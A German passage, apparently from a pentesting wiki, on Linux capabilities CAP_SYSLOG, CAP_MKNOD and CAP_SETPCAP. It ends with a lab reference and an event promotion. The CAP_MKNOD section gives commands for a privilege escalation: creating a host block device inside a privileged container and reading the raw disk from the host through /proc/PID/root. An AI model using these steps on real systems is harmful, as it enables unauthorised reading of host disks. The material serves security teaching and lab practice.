CAP_SYSLOG wurde in Linux 2.6.37 von CAP_SYS_ADMIN getrennt und gewährt speziell die Möglichkeit, den syslog(2)-Aufruf zu verwenden. Diese Fähigkeit ermöglicht das Anzeigen von Kerneladressen über /proc und ähnliche Schnittstellen, wenn die Einstellung kptr_restrict auf 1 gesetzt ist, die die Offenlegung von Kerneladressen steuert. Seit Linux 2.6.39 ist der Standardwert für kptr_restrict 0, was bedeutet, dass Kerneladressen offengelegt werden, obwohl viele Distributionen dies aus Sicherheitsgründen auf 1 (Adressen nur für uid 0 anzeigen) oder 2 (Adressen immer verbergen) setzen.
Zusätzlich ermöglicht CAP_SYSLOG den Zugriff auf dmesg-Ausgaben, wenn dmesg_restrict auf 1 gesetzt ist. Trotz dieser Änderungen behält CAP_SYS_ADMIN aufgrund historischer Präzedenzfälle die Möglichkeit zur Durchführung von syslog-Operationen bei.
CAP_MKNOD
CAP_MKNOD erweitert die Funktionalität des mknod-Systemaufrufs über die Erstellung von regulären Dateien, FIFOs (benannte Pipes) oder UNIX-Domänen-Sockets hinaus. Es ermöglicht speziell die Erstellung von Spezialdateien, zu denen gehören:
S_IFCHR: Zeichengeräte, wie z.B. Terminals.
S_IFBLK: Blockgeräte, wie z.B. Festplatten.
Diese Fähigkeit ist für Prozesse, die die Fähigkeit zur Erstellung von Gerätedateien erfordern, unerlässlich und erleichtert die direkte Hardwareinteraktion über Zeichen- oder Blockgeräte.
Diese Fähigkeit ermöglicht Privilege Escalations (durch vollständiges Lesen der Festplatte) auf dem Host unter folgenden Bedingungen:
Zugriff auf den Host (Unprivileged).
Zugriff auf den Container (Privileged (EUID 0) und effektives CAP_MKNOD).
Host und Container sollten denselben Benutzernamensraum teilen.
Schritte zum Erstellen und Zugreifen auf ein Blockgerät in einem Container:
Auf dem Host als Standardbenutzer:
Ermitteln Sie Ihre aktuelle Benutzer-ID mit id, z.B. uid=1000(standarduser).
Identifizieren Sie das Zielgerät, z.B. /dev/sdb.
Im Container als root:
# Create a block special file for the host device
mknod /dev/sdb b 8 16
# Set read and write permissions for the user and group
chmod 660 /dev/sdb
# Add the corresponding standard user present on the host
useradd -u 1000 standarduser
# Switch to the newly created user
su standarduser
Zurück auf dem Host:
# Locate the PID of the container process owned by "standarduser"
# This is an illustrative example; actual command might vary
ps aux | grep -i container_name | grep -i standarduser
# Assuming the found PID is 12345
# Access the container's filesystem and the special block device
head /proc/12345/root/dev/sdb
Diese Methode ermöglicht es dem Standardbenutzer, über den Container auf Daten von /dev/sdb zuzugreifen und potenziell zu lesen, indem gemeinsam genutzte Benutzernamensräume und Berechtigungen auf dem Gerät ausgenutzt werden.
CAP_SETPCAP
CAP_SETPCAP ermöglicht es einem Prozess, die Fähigkeitssätze eines anderen Prozesses zu ändern, indem Fähigkeiten aus den effektiven, vererbten und erlaubten Sätzen hinzugefügt oder entfernt werden. Ein Prozess kann jedoch nur Fähigkeiten ändern, die sich in seinem eigenen erlaubten Satz befinden, um sicherzustellen, dass er die Privilegien eines anderen Prozesses nicht über seine eigenen hinaus erhöhen kann. Aktuelle Kernel-Updates haben diese Regeln verschärft und beschränken CAP_SETPCAP darauf, die Fähigkeiten nur in seinem eigenen oder den erlaubten Sätzen seiner Nachkommen zu verringern, um Sicherheitsrisiken zu mindern. Die Verwendung erfordert das Vorhandensein von CAP_SETPCAP im effektiven Satz und der Ziel-Fähigkeiten im erlaubten Satz und nutzt capset() für Modifikationen. Dies fasst die Kernfunktion und -beschränkungen von CAP_SETPCAP zusammen und hebt seine Rolle in der Privilegienverwaltung und Sicherheitsverbesserung hervor.
CAP_SETPCAP ist eine Linux-Fähigkeit, die es einem Prozess ermöglicht, die Fähigkeitssätze eines anderen Prozesses zu ändern. Es gewährt die Möglichkeit, Fähigkeiten aus den effektiven, vererbten und erlaubten Fähigkeitssätzen anderer Prozesse hinzuzufügen oder zu entfernen. Es gibt jedoch bestimmte Einschränkungen, wie diese Fähigkeit verwendet werden kann.
Ein Prozess mit CAP_SETPCAPkann nur Fähigkeiten gewähren oder entfernen, die sich in seinem eigenen erlaubten Fähigkeitssatz befinden. Mit anderen Worten, ein Prozess kann einer anderen Prozess keine Fähigkeit gewähren, die er selbst nicht besitzt. Diese Einschränkung verhindert, dass ein Prozess die Privilegien eines anderen Prozesses über sein eigenes Privilegieniveau hinaus erhöht.
Darüber hinaus wurde die Fähigkeit CAP_SETPCAP in neueren Kernel-Versionen weiter eingeschränkt. Sie erlaubt einem Prozess nicht mehr, die Fähigkeitssätze anderer Prozesse beliebig zu ändern. Stattdessen erlaubt sie nur einem Prozess, die Fähigkeiten in seinem eigenen erlaubten Fähigkeitssatz oder im erlaubten Fähigkeitssatz seiner Nachkommen zu verringern. Diese Änderung wurde eingeführt, um potenzielle Sicherheitsrisiken im Zusammenhang mit der Fähigkeit zu reduzieren.
Um CAP_SETPCAP effektiv zu nutzen, müssen Sie die Fähigkeit in Ihrem effektiven Fähigkeitssatz und die Ziel-Fähigkeiten in Ihrem erlaubten Fähigkeitssatz haben. Sie können dann den Systemaufruf capset() verwenden, um die Fähigkeitssätze anderer Prozesse zu ändern.
Zusammenfassend ermöglicht CAP_SETPCAP einem Prozess, die Fähigkeitssätze anderer Prozesse zu ändern, kann jedoch keine Fähigkeiten gewähren, die er selbst nicht besitzt. Darüber hinaus wurde seine Funktionalität aufgrund von Sicherheitsbedenken in neueren Kernel-Versionen auf die Verringerung von Fähigkeiten in seinem eigenen erlaubten Fähigkeitssatz oder den erlaubten Fähigkeitssätzen seiner Nachkommen beschränkt.
Referenzen
Die meisten dieser Beispiele stammen aus einigen Labors vonhttps://attackdefense.pentesteracademy.com/, daher empfehle ich diese Labors, um diese Privilege-Escalation-Techniken zu üben.
RootedCON ist die relevanteste Cybersicherheitsveranstaltung in Spanien und eine der wichtigsten in Europa. Mit dem Ziel, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.